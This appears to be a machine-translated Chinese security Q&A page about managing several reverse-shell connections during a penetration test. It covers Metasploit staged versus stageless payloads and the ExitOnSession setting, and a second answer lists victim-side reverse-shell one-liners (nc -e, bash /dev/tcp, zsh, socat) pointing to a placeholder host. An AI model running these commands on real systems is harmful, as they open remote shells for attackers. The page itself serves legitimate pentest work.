Pentest——处理多个反向shell

信息安全 渗透测试 元数据
2021-09-04 03:17:16

我正在运行一个渗透测试,我期待来自多个外壳的反向外壳连接回来:-

nc <my-ip> <my-port> -e /bin/bash

但是,我试图找出管理这些传入连接的最佳方法。对与此相关的最佳实践有什么建议吗?我查看了 metasploits Meterpreter shell——但它似乎正在将有效负载发送回客户端。我不需要这个,我只需要正确处理连接。

2个回答

Metasploit 有多个有效载荷,分为单一、阶段和阶段。单个有效负载全部封装在一个可执行文件中,不需要任何额外的下载。例如,payload/windows/shell_reverse_tcp 是一个单独的有效载荷,可以用作独立的可执行文件。

默认情况下,meterpreter 有效负载是分阶段的有效负载。如果您通过 msfconsole/msfpayload/msfvenom 生成它,则生成第一阶段,并在执行时从处理程序下载第二阶段 metsrv.dll。但是,Sherif Eldeeb 创建的 Metasploit 官方树之外还有一个独立的 Meterpreter 有效负载。您可以从Sherif Eldeep github 存储库下载它。

从 github 存储库中,下载 ultimet.zip 存档并生成独立的可执行文件,如下所示:

ultimet.exe -h <LHOST> -p <LPORT> -t "reverse_tcp" --msfpayload

-t 是您选择的传输方式。您也可以使用其他传输方式,例如反向/绑定 http(s)。上面的命令将在名为 REVERSE_TCP__LPORT.exe 的目录中创建一个新的可执行文件。这是一个独立的meterpreter 可执行文件,其中第二阶段metsrv.dll 封装在同一个可执行文件中。但是,请注意,reverse_https 传输当前存在一个错误,即每次连接到处理程序时连接都会崩溃。reverse_tcp 非常可靠。

使用 msfconsole 中的 ExitOnSession false 选项,您可以处理任意数量的会话。此外,我注意到通过Armitage可以更轻松地更有效地处理多个连接,但这只是一个偏好问题。msfconsole 在处理多个连接方面也非常出色,您可以使用资源脚本自动执行许多后期利用任务。

更新:从 pull request 4925开始,stageless Meterpreter 现在是 Metasploit 官方发行版的一部分。这不是对 Sharif 作品的整合,而是对 OJ Reeves 的完全重写。

您可能需要我创建的这个工具:

https://github.com/WangYihang/Reverse-Shell-Manager

这是一个通过终端的多个反向 shell 会话/客户端管理器。

简单用法:

攻击方: python Reverse-Shell-Manager.py 0.0.0.0 4444

受害者的一面

Linux:

nc -e /bin/bash 1.3.3.7 4444
bash -c 'bash -i >/dev/tcp/1.3.3.7/4444 0>&1'
zsh -c 'zmodload zsh/net/tcp && ztcp 1.3.3.7 4444 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:1.3.3.7:4444  

视窗:

nc.exe -e /bin/bash 1.3.3.7 4444

这里有两个视频可以帮助你: